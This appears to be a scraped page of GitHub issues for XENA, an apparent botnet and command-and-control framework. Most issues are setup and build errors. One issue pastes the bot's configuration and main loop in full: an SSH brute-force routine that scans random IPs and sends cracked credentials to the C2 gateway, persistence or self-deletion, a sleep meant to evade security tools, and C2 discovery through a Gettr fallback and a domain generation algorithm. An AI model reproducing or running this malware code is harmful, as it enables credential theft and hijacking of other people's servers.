waiting for server to start....2022-03-03 10:37:43.712 UTC [48] LOG: starting PostgreSQL 14.2 (Debian 14.2-1.pgdg110+1) on x86_64-pc-linux-gnu, compiled by gcc (Debian 10.2.1-6) 10.2.1 20210110, 64-bit
2022-03-03 10:37:43.721 UTC [48] LOG: listening on Unix socket "/var/run/postgresql/.s.PGSQL.5432"
2022-03-03 10:37:43.735 UTC [49] LOG: database system was shut down at 2022-03-03 10:37:43 UTC
2022-03-03 10:37:43.744 UTC [48] LOG: database system is ready to accept connections
done
server started
CREATE DATABASE

/usr/local/bin/docker-entrypoint.sh: ignoring /docker-entrypoint-initdb.d/*

2022-03-03 10:37:44.199 UTC [48] LOG: received fast shutdown request
waiting for server to shut down....2022-03-03 10:37:44.200 UTC [48] LOG: aborting any active transactions
2022-03-03 10:37:44.212 UTC [48] LOG: background worker "logical replication launcher" (PID 55) exited with exit code 1
2022-03-03 10:37:44.212 UTC [50] LOG: shutting down
2022-03-03 10:37:44.237 UTC [48] LOG: database system is shut down
done
server stopped

PostgreSQL init process complete; ready for start up.

              • XENA_FACE - - - - - - -
                An error happened during the printing of container logs: exit status 1
              • XENA_GATEWAY - - - - - - -
      • DOCKER PS - - -
        a988914cfa27 xena-service-gateway "/app/main" 3 minutes ago Up 2 minutes 0.0.0.0:60606->60606/tcp, :::60606->60606/tcp xena-gateway
        e8a3285c6ae5 xena-service-pyramid "docker-entrypoint.s…" 3 minutes ago Up 3 minutes 0.0.0.0:60667->60667/tcp, :::60667->60667/tcp xena-pyramid
        5e50866fbc0a postgres "docker-entrypoint.s…" 6 minutes ago Up 6 minutes 5432/tcp xena-pyramid-postgres
        0b6eadcee1a6 xena-service-domena "docker-entrypoint.s…" 6 minutes ago Up 6 minutes 0.0.0.0:60798->60798/tcp, :::60798->60798/tcp xena-domena
        0bb9b22940a8 postgres "docker-entrypoint.s…" 9 minutes ago Up 9 minutes 5432/tcp xena-domena-postgres
        2ed9d1c216b2 xena-service-atila "docker-entrypoint.s…" 9 minutes ago Up 9 minutes 0.0.0.0:60666->60666/tcp, :::60666->60666/tcp xena-atila
        bb27b017e8c0 postgres "docker-entrypoint.s…" 12 minutes ago Up 12 minutes 5432/tcp xena-atila-postgres
      • LOGS END - - -

Seems like something went wrong.
Please, submit a ticket at: https://github.com/zarkones/XENA/issues

Provide the logs when submiting a ticket.

FIX TIPS:

    1. "exit status 125" indicates a conflict in container names. Delete all containers with the prefix 'xena' and run setup process again.

exit status 1. Unable to build and run xena-face container.
panic: DOCKER_INIT_FACE_FAILED

goroutine 1 [running]:
main.main()
/home/windowsx/Desktop/xena/tools/xena-tool-automagic/main.go:178 +0xc18

Issue 126.

exit status 126. Failed to initialize xena-atila-postgres container
panic: DOCKER_INIT_ATILA_FAILED

goroutine 1 [running]:
main.main()
/home/windowsx/Desktop/xena/tools/xena-tool-automagic/main.go:146 +0x11ff

Please help me ! Thanks Alot.

Issues on run setup.sh

[ error ] typescript compiler errors
app/Validators/Conversation/GetMultiple.ts:1:18 - error TS6133: 'rules' is declared but its value is never read.

1 import { schema, rules } from '@IOC:Adonis/Core/Validator'
~~~~~
config/database.ts:14:47 - error TS2350: Only a void function can be called with the 'new' keyword.

14 const databaseUrl = Env.get('DATABASE_URL') ? new Url(Env.get('DATABASE_URL')) : null
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
config/database.ts:14:55 - error TS2345: Argument of type 'string | undefined' is not assignable to parameter of type 'string'.
Type 'undefined' is not assignable to type 'string'.

14 const databaseUrl = Env.get('DATABASE_URL') ? new Url(Env.get('DATABASE_URL')) : null
~~~~~~~~~~~~~~~~~~~~~~~
test/integration/messages.spec.ts:32:11 - error TS6133: 'message' is declared but its value is never read.

32 const { body: message } = await supertest(BASE_URL)


[ error ] typescript compiler errors
app/Validators/Conversation/GetMultiple.ts:1:18 - error TS6133: 'rules' is declared but its value is never read.

1 import { schema, rules } from '@IOC:Adonis/Core/Validator'
~~~~~
config/database.ts:14:47 - error TS2350: Only a void function can be called with the 'new' keyword.

14 const databaseUrl = Env.get('DATABASE_URL') ? new Url(Env.get('DATABASE_URL')) : null
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
config/database.ts:14:55 - error TS2345: Argument of type 'string | undefined' is not assignable to parameter of type 'string'.
Type 'undefined' is not assignable to type 'string'.

14 const databaseUrl = Env.get('DATABASE_URL') ? new Url(Env.get('DATABASE_URL')) : null
~~~~~~~~~~~~~~~~~~~~~~~
test/integration/messages.spec.ts:32:11 - error TS6133: 'message' is declared but its value is never read.

32 const { body: message } = await supertest(BASE_URL)


Step 5/6 : RUN go build -ldflags="-w -s" -o main .
---> Running in a4e45d49efa0

main

./atila.go:18:42: undefined: atilaHost
./atila.go:64:41: undefined: atilaHost
./atila.go:109:42: undefined: atilaHost
./atila.go:155:42: undefined: atilaHost
./domena.go:18:42: undefined: domenaHost
./main.go:12:33: undefined: port
The command '/bin/sh -c go build -ldflags="-w -s" -o main .' returned a non-zero code: 2
Sending build context to Docker daemon 6.975MB
Step 1/10 : FROM node:lts-alpine


tested on kali linux and don't work

Registration Process For XENA Platform

Hello
Your idea of this project is really great.
As per screenshots there is login/registration page(xena.network/gallery) However I could not find it.
How to use it?)
Thanks.

Docker Error

Hey,
Recently when I installed XENA on a virtual machine with the 64-bit Kali Linux operating system I had 1 issue.

One of the 2 needed containers couldn't be created. (xena-atila)

Here is some of the terminal output containing parts before and after the error:
Terminal:

Checking Docker. Installed.
Creating a docker network. Created.
Creating two containers: xena-atila, xena-atila-postgres. exit status 1. Unable to build and run xena-atila container.

Seems like something went wrong.
Please, submit a ticket at: https://github.com/zarkones/XENA/issues

panic: DOCKER_INIT_ATILA_FAILED

goroutine 1 [running]:
main.main()
/home/windowsx/Desktop/xena/tools/xena-tool-automagic/main.go:60 +0xd85

I am kinda new to Linux so I don't have any idea what the issue can be, and as your tool isn't that well known even though it seems great I can't find a solution online.

Thanks!

Can't build Xena-Bot-Apep; Invalid memory address or nil pointer Segmentation Fault

I have run into the same error on these platforms:

  • Lenovo 1x6 Carbon running Garuda Linux (16GB RAM, i7 8550U)
  • Dell XPS 9500 Windows 11 via WSL (32GB RAM, i7 10750H)
  • Dell XPS 9500 VMWare Ubuntu Jammy Jellyfish (16 GB RAM, 4 Processors)

I have gotten everything set up via the script setup_linux_64bit and also by manually activating each service via npm commands. As well as docker manually creating each service and postgres container.

After the services are set up, and even just from getting atila, my key pair, the face and the tokens set up I change env to env.go and add my information and when I try to run the Apep bot each time i get this error:

gsk@3h-24-0a-31-6b:~/XENA/bots/xena-bot-apep$ go run main.go
panic: runtime error: invalid memory address or nil pointer dereference
[signal SIGSEGV: segmentation violation code=0x1 addr=0x18 pc=0x5f7ad2]

goroutine 1 [running]:
xena/modules.ImportPEMPublicKey({0x9af82b?, 0xc00000e060?})
        /home/gsk/XENA/bots/xena-bot-apep/modules/crypto.go:68 +0x32
xena/config.init()
        /home/gsk/XENA/bots/xena-bot-apep/config/env.go:19 +0x27
exit status 2

I have manually done go get ... for each module that needs to be added. and running go build will build the executable "xena" in the folder. But running that produces the same error.

I have also tried running the main_win_32 & main_linux_64 executables that are generated after running go build and sh build.sh and it yeilds the same error. In and out of WSL2 and both the linux distrobutions.

my env.go

package config

import (
	"crypto/rsa"
	"xena/modules"
)

// RENAME INTO: env.go

// Main loop configuration.
var MaxLoopWait int = 10
var MinLoopWait int = 5

// Atila is a back-end command & control server.
var GatewayHost string = "http://localhost:60606"

// Trusted public key.
var TrustedPublicKeyPEM string = "-----BEGIN PUBLIC KEY-----MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEAxFZOpaYy99ME5ZgE+L0KCy5tnVTblbgIAa4eVA6wSe8ZBx7qj3SZ61yv+iMrs9NK/92ZG96KzrP+YxqHTBhAKMKGLfE1xXmsfaQe4/4fb0WittmXt+eO8TbtAhZzvikV7lfSeHBTz4xIFWzG/wgq992PvfpUeF1UQkkW6AcLwLKmnRMEUUkKhT7QQyH+dU0mxFt6HH6uAzzra3dbHvS2n/EDo+3bZ0TQJRlRer+78MwfrtYZbPe3Jza/h6sZcY8yL/8NEu4YxgR9UM1uYPPRHae9rnE3dIJUKr138R7ifxMzwMBR6/XYvup9jO6r7iOGt5OzoTqY64sdAAhjpSTHMTKFEtUbYbnm/FIWjgBLFbCUWOt9tTJ6hdvW1Et4OP+u6yZsnMe0PYSQJHpT3S1HBfXitdruxBektytcUHRY5bT4k4wwukkGsrnm+WOiu/Tv/WADJasAdoZki+1FnUjP3Yfy6yo9UCL4DHiqKPxQ9bSovOQO4dyMRPqxcsb6ic4yzu6fHzjuTtNMBmdcrHTPstx7sHsa9nltAJ50MYAeBx9lhA7lnZUZaC/b3xJPWAM935iIZTyvtVEZgUhwwnhvyBhftngtkOzZp6bxNRmlcpPnJx3ssXhXusVeEwIFys2z4tZLDmrmrKTxyTb8MWq2SQ8+bWI1cySQf6WSH4xEUs0CAwEAAQ==-----END PUBLIC KEY-----"
var TrustedPublicKey *rsa.PublicKey = modules.ImportPEMPublicKey(TrustedPublicKeyPEM)

// Gettr fallback channel configuration.
var GettrProfileName string = ""

// Peer 2 Peer configuration.
var PeerPort string = "6006"

// Domain Generation Algorithm configuration.
var DgaSeed = 215

// DGA should kick in after X amount of days since the last successful contact with Atila. (cnc)
var DgaAfterDays = 7

// Sleep on start.
var Hybernate bool = false

// In minutes:
var HybernateMin int = 10
var HybernateMax int = 15

// SSH Cracker configuration.

// Enables or disables the SSH cracking.
var EnableSshCracker bool = true

// A number of GO threads which will run the crackers.
var SshThreads int = 32

// Delete its own binary file.
var RemoveSelf bool = false

var DiscordEnabled bool = false
var DiscordToken string = ""

I have added the public key both as is, with the line breaks (\n) after each block at each character as it was displayed when it wwas generated and have gone back and formatted it as one continuous string.

main.go

package main

import (
	"fmt"
	"math/rand"
	"net"
	"time"
	"xena/config"
	"xena/gateway"
	"xena/helpers"
	"xena/modules"
	"xena/networking"
	"xena/p2p"
	"xena/repository"
	"xena/services"

	"github.com/google/uuid"
)

// Last time since the contact was made with bot herder.
var lastContactMade int = helpers.TimeSinceJesus()

// Does Atila (cnc) knows about us?
var identified bool = false

// sshCrackRoutine is an infinite loop of cracking SSH service.
func sshCrackRoutine(gatewayHost string) {
	for {
		address := networking.IpRandomAddress()
		user := networking.RandomSshUser()
		pass := networking.RandomSshPass()

		err := networking.SshCheck(address, user, pass, 22)
		if err != nil {
			fmt.Println(err)
			continue
		}

		err = gateway.SubmitCreds(gatewayHost, gateway.Creds{
			Ip:   address,
			Port: 22,
			User: user,
			Pass: pass,
		})
		if err != nil {
			fmt.Println(err)
			continue
		}
	}
}

// tick is the content of the main loop. Returns false if something went wrong.
func tick(host string) bool {
	if !identified {
		err := gateway.Identify(host, config.ID, config.PublicIdentificationKey)
		if err != nil {
			fmt.Println(err)
			identified = false
			return false
		}
		identified = true
		return true
	}

	messages, err := gateway.FetchMessages(host, config.ID)
	if err != nil {
		fmt.Println(err)
		return false
	}

	for _, message := range messages {
		reply, err := gateway.InterpretMessage(message)
		if err != nil {
			fmt.Println(err)
			continue
		}

		err = gateway.SendMessage(host, reply)
		if err != nil {
			fmt.Println(err)
			continue
		}

		err = gateway.MessageAck(host, reply.ReplyTo)
		if err != nil {
			fmt.Println(err)
			continue
		}
	}

	return true
}

func initialize() {
	// Check if the bot is persistent within the environment, if not then persist.
	// But only if we're not set to remove the binary up on execution.
	if !config.RemoveSelf {
		if !modules.CheckIfPersisted() {
			err := modules.Persist()
			fmt.Println(err)
		}
	} else {
		err := modules.RemoveBinary()
		if err != nil {
			fmt.Println(err)
		}
	}

	// Initialize a SQLite database and run the migrations.
	err := repository.DB.Init(helpers.RandomPopularWordBySeed(helpers.IntegersFromString(modules.SelfHash)))
	if err != nil {
		fmt.Println(err)
		return
	}

	// Check the database for details about self.
	botDetails, err := repository.DetailsRepo.Get()
	if err != nil {
		fmt.Println(err)
		return
	}

	// Check if we ever saved details about ourselves.
	if len(botDetails.Id) == 0 && len(botDetails.PublicKey) == 0 && len(botDetails.PrivateKey) == 0 {
		// Key-pair used for signing and verifying messages.
		config.PrivateIdentificationKey = modules.GeneratePrivateKey()
		config.PublicIdentificationKey = &config.PrivateIdentificationKey.PublicKey
		// Generate the unique bot identifier.
		config.ID = uuid.New().String()

		// Save into the database.
		repository.DetailsRepo.Insert(config.ID, modules.PrivateKeyToPEM(config.PrivateIdentificationKey), modules.PublicKeyToPEM(config.PublicIdentificationKey))
	} else {
		// Load into global variables bot's details.
		config.PrivateIdentificationKey, err = modules.ImportPEMPrivateKey(botDetails.PrivateKey)
		if err != nil {
			panic(err)
		}
		config.PublicIdentificationKey = modules.ImportPEMPublicKey(botDetails.PublicKey)
		config.ID = botDetails.Id
	}

	// Ignite the SSH cracker.
	if config.EnableSshCracker {
		for i := 0; i < config.SshThreads; i++ {
			go sshCrackRoutine(config.GatewayHost)
		}
	}

	if config.DiscordEnabled {
		var discord = services.Discord{}
		err = discord.Init()
		if err != nil {
			fmt.Println(err)
		}
	}

	// Start the P2P server.
	var p2p p2p.P2P = p2p.P2P{}
	go p2p.BootServer(config.PeerPort)
}

// prepare handles the code executed immediately.
func prepare() {
	// Sleep for a certain amount of time. This way we'll avoid a lot of security solutions.
	// This is insufficient if an environment performs acceleration of the system's sleep call.
	if config.Hybernate {
		rand.Seed(time.Now().UnixNano())
		time.Sleep(time.Minute * time.Duration(rand.Intn(config.HybernateMax-config.HybernateMin)+config.HybernateMax))
	}

	// Calculate hash of itself, so that later we can delete the binary if needed.
	hash, err := modules.HashSelf()
	if err != nil {
		fmt.Println(err)
		panic(err)
	}
	modules.SelfHash = hash
}

func main() {
	// Perform certain actions prior to the execution of duties.
	prepare()

	// Once the bot is started we need to load some variables and prepare it for normal work.
	initialize()

	// Bot's main loop which performs the tick operation. Consider the tick operation the actual content of the main loop.
	for range time.Tick(time.Second * time.Duration(rand.Intn(config.MaxLoopWait-config.MinLoopWait)+config.MaxLoopWait)) {
		rand.Seed(time.Now().UnixNano())

		// We need to reach out to hardcoded host of Atila. (cnc)
		if tick(config.GatewayHost) {
			// Reset the timer of DGA and move on...
			lastContactMade = helpers.TimeSinceJesus()
			continue
		}

		// Reachout to Atila (cnc) host via 'website' property on a Gettr profile.
		if len(config.GettrProfileName) != 0 {
			gettrGatewayHost, err := services.GettrProfileWebsite(config.GettrProfileName)
			if err == nil && len(gettrGatewayHost) != 0 {
				if tick(gettrGatewayHost) {
					// Reset the timer of DGA and move on...
					lastContactMade = helpers.TimeSinceJesus()
					continue
				}
			}
		}

		// Check if DGA should kick it.
		if helpers.TimeSinceJesus()-lastContactMade > config.DgaAfterDays {
			// Try to find the Atila (cnc) behind a generated domain.
			for _, host := range helpers.Dga(config.DgaSeed) {
				if _, err := net.LookupIP(host); err != nil {
					continue
				}
				if tick(host) {
					break
				}
			}
		}
	}
}

XENA Setup Failure: Error Creating Containers and Docker Initialization Issue.

rest@penguin:~/XENA$ ./setup_linux_64bit
Welcome to XENA!
Setup process initiated. This may take some time.
Creating a key pair. Created.
Checking Docker. Installed.
Creating a docker network. Created.
Creating two containers: xena-atila, xena-atila-postgres.

      • LOGS START - - -
              • XENA_ATILA - - - - - - -
                An error happened during the printing of container logs: exit status 1
              • XENA_ATILA - - - - - - -
              • XENA_ATILA_POSTGRES - - - - - - -
                An error happened during the printing of container logs: exit status 1
              • XENA_DOMENA - - - - - - -
                An error happened during the printing of container logs: exit status 1
              • XENA_DOMENA_POSTGRES - - - - - - -
                An error happened during the printing of container logs: exit status 1
              • XENA_PYRAMID - - - - - - -
                An error happened during the printing of container logs: exit status 1
              • XENA_PYRAMID_POSTGRES - - - - - - -
                An error happened during the printing of container logs: exit status 1
              • XENA_FACE - - - - - - -
                An error happened during the printing of container logs: exit status 1
              • XENA_GATEWAY - - - - - - -
                An error happened during the printing of container logs: exit status 1
      • DOCKER PS - - -
        An error happened during the printing of container logs: exit status 1
      • LOGS END - - -

Seems like something went wrong.
Please, submit a ticket at: https://github.com/zarkones/XENA/issues

Provide the logs when submiting a ticket.

FIX TIPS:

    1. "exit status 125" indicates a conflict in container names. Delete all containers with the prefix 'xena' and run setup process again.

exit status 126. Failed to initialize xena-atila-postgres container
panic: DOCKER_INIT_ATILA_FAILED

goroutine 1 [running]:
main.main()
/home/windowsx/Desktop/xena/tools/xena-tool-automagic/main.go:146 +0xe05

rest@penguin:~/XENA$ sudo docker ps -a
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES

rest@penguin:~/XENA$ sudo docker rm xena-atila
Error: No such container: xena-atila

rest@penguin:~/XENA$ sudo docker rm xena-atila-postgres
Error: No such container: xena-atila-postgres

Screenshot 2023-05-26 3 53 21 AM

Error Invalid or unexpected token

Can someone tell me how to fix this , i get the error when running docker build -t xena-service-face .

=> ERROR [8/8] RUN yarn build 28.7s

[8/8] RUN yarn build:
#13 8.093 yarn run v1.22.19
#13 8.215 warning package.json: No license field
#13 8.289 $ nuxt build
#13 8.862 Nuxi 3.4.2
#13 8.984 Nuxt 3.4.2 with Nitro 2.3.3
#13 27.79
#13 27.79 ERROR Invalid or unexpected token
#13 27.79
#13 27.79 @charset "UTF-8";
#13 27.79 ^
#13 27.79
#13 27.79 SyntaxError: Invalid or unexpected token
#13 27.79 at Object.compileFunction (node:vm:360:18)
#13 27.79 at wrapSafe (node:internal/modules/cjs/loader:1124:15)
#13 27.79 at Module._compile (node:internal/modules/cjs/loader:1160:27)
#13 27.79 at Object.Module._extensions..js (node:internal/modules/cjs/loader:1250:10)
#13 27.79 at Module.load (node:internal/modules/cjs/loader:1074:32)
#13 27.79 at Function.Module._load (node:internal/modules/cjs/loader:909:12)
#13 27.79 at Module.require (node:internal/modules/cjs/loader:1098:19)
#13 27.79 at require (node:internal/modules/cjs/helpers:108:18)
#13 27.79 at jiti (node_modules/jiti/dist/jiti.js:1:243592)
#13 27.79 at nuxt.config.js:2:1
#13 27.79 at Object.jiti (node_modules/jiti/dist/jiti.js:1:245784)
#13 27.79 at resolveConfig (node_modules/c12/dist/index.mjs:279:24)
#13 27.79 at loadConfig (node_modules/c12/dist/index.mjs:116:40)
#13 27.79 at async loadNuxtConfig (node_modules/@nuxt/kit/dist/index.mjs:491:18)
#13 27.79 at async loadNuxt (node_modules/nuxt/dist/index.mjs:2650:19)
#13 27.79 at async loadNuxt (node_modules/@nuxt/kit/dist/index.mjs:545:19)
#13 27.79 at async Object.invoke (node_modules/nuxi/dist/chunks/build.mjs:37:18)
#13 27.79 at async _main (node_modules/nuxi/dist/cli.mjs:48:20)
#13 27.79
#13 28.00 error Command failed with exit code 1.
#13 28.00 info Visit https://yarnpkg.com/en/docs/cli/run for documentation about this command.


process "/bin/sh -c yarn build" did not complete successfully: exit code: 1

unable to build @docker issue

/root/Desktop/XENA/setup_linux_64bit
Welcome to XENA!
Setup process initiated. This may take some time.
Creating a key pair. Created.
Checking Docker. Installed.
Creating a docker network. Created.
Creating two containers: xena-atila, xena-atila-postgres. exit status 125. Failed to initialize xena-atila-postgres container

Seems like something went wrong.
Please, submit a ticket at: https://github.com/zarkones/XENA/issues

panic: DOCKER_INIT_ATILA_FAILED

goroutine 1 [running]:
main.main()
/home/windowsx/Desktop/xena/tools/xena-tool-automagic/main.go:60 +0xd85

panic: DOCKER_INIT_ATILA_FAILED

└─$ ./setup_linux_64bit
Welcome to XENA!
Setup process initiated. This may take some time.
Creating a key pair. Created.
Checking Docker. Installed.
Creating a docker network. Created.
Creating two containers: xena-atila, xena-atila-postgres. exit status 126. Failed to initialize xena-atila-postgres container

Seems like something went wrong.
Please, submit a ticket at: https://github.com/zarkones/XENA/issues

panic: DOCKER_INIT_ATILA_FAILED

goroutine 1 [running]:
main.main()
/home/windowsx/Desktop/xena/tools/xena-tool-automagic/main.go:60 +0xd85

Tested on my kali linux i386 it gives errors

┌──(root💀cyberwarrior)-[~/XENA]
└─# ./setup_linux_32bit
Welcome to XENA!
Setup process initiated. This may take some time.
Creating a key pair. Created.
Checking Docker. Installed.
Creating a docker network. Created.
Creating two containers: xena-atila, xena-atila-postgres.

      • LOGS START - - -
              • XENA_ATILA - - - - - - -
                An error happened during the printing of container logs: exit status 1
              • XENA_ATILA - - - - - - -
              • XENA_ATILA_POSTGRES - - - - - - -
                An error happened during the printing of container logs: exit status 1
              • XENA_DOMENA - - - - - - -
                An error happened during the printing of container logs: exit status 1
              • XENA_DOMENA_POSTGRES - - - - - - -
                An error happened during the printing of container logs: exit status 1
              • XENA_PYRAMID - - - - - - -
                An error happened during the printing of container logs: exit status 1
              • XENA_PYRAMID_POSTGRES - - - - - - -
                An error happened during the printing of container logs: exit status 1
              • XENA_FACE - - - - - - -
                An error happened during the printing of container logs: exit status 1
              • XENA_GATEWAY - - - - - - -
                An error happened during the printing of container logs: exit status 1
      • DOCKER PS - - -
        An error happened during the printing of container logs: exit status 1
      • LOGS END - - -

Seems like something went wrong.
Please, submit a ticket at: https://github.com/zarkones/XENA/issues

Provide the logs when submiting a ticket.

FIX TIPS:

    1. "exit status 125" indicates a conflict in container names. Delete all containers with the prefix 'xena' and run setup process again.

exit status 125. Failed to initialize xena-atila-postgres container
panic: DOCKER_INIT_ATILA_FAILED

goroutine 1 [running]:
main.main()
/home/windowsx/Desktop/xena/tools/xena-tool-automagic/main.go:146 +0x11ff

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.